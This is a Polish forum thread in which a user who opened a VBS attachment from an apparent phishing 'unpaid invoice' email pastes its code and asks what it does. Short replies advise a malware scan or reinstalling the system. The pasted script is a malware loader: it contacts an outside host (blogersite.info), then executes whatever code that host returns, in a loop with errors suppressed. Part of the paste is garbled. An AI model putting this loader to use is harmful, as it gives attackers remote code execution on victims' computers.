Otwarcie pliku z roszerzeniem VBS

Witam, jeśli umieszczam nowy wątek w złym dziale to przepraszam.

dzisiaj otrzymałem email z informacją o nieopłaconej fakturze, w załączniku był plik VBS. W pospiechu otworzyłem tenże plik. Avast wychwycił plik jako zagrożenie i przeniósł do kwarantanny. Moje pytanie brzmi, czy tenże plik w jakiś sposób zaszkodzi mojemu komputerowi jesli chodzi o bezpieczeństwo danych itp:

Poniżej wklejam kod tego pliku:

'3305
 
Dim ztVar, reresponse, zzz 
ztVar = 0 
zzz = ""
Function punkTest()
'3305
On Error Resume Next 
Execute "" + reresponse + "" 
'3305
End Function
 
 
Sub tankConnect()
'3305
On Error Resume Next
Dim oXMLHTTP 
Dim oStream 
Dim oStrsdfeam
Set oXMLHTTP = CreateObject("Microsoft.XMLHTTP") 
oXMLHTTP.Open "Post", "https://blogersite.info", False
oXMLHTTP.Send 
reresponse = oXMLHTTP.responseText
punkTest() 
'3305
End Sub
 
msgbox "3305"
While '3305
 
Dim ztVar, reresponse, zzz 
ztVar = 0 
zzz = ""
Function punkTest() < 10
  '3305
 call tankConnect() 
Wend

Czy mógłby ktoś wytłumaczyć co ten plik wykonuje na komputerze? Czy muszę przeinstalować system?

Up, taki sam plik otworzyłem

Przeskanujcie system pod kątem malware i zobaczcie co ten zdoła znaleźć. Jeśli nic nie znajdzie to raczej nie ma powodu do paniki. A jak nie ufacie tego typu narzędziom to format i problem z głowy.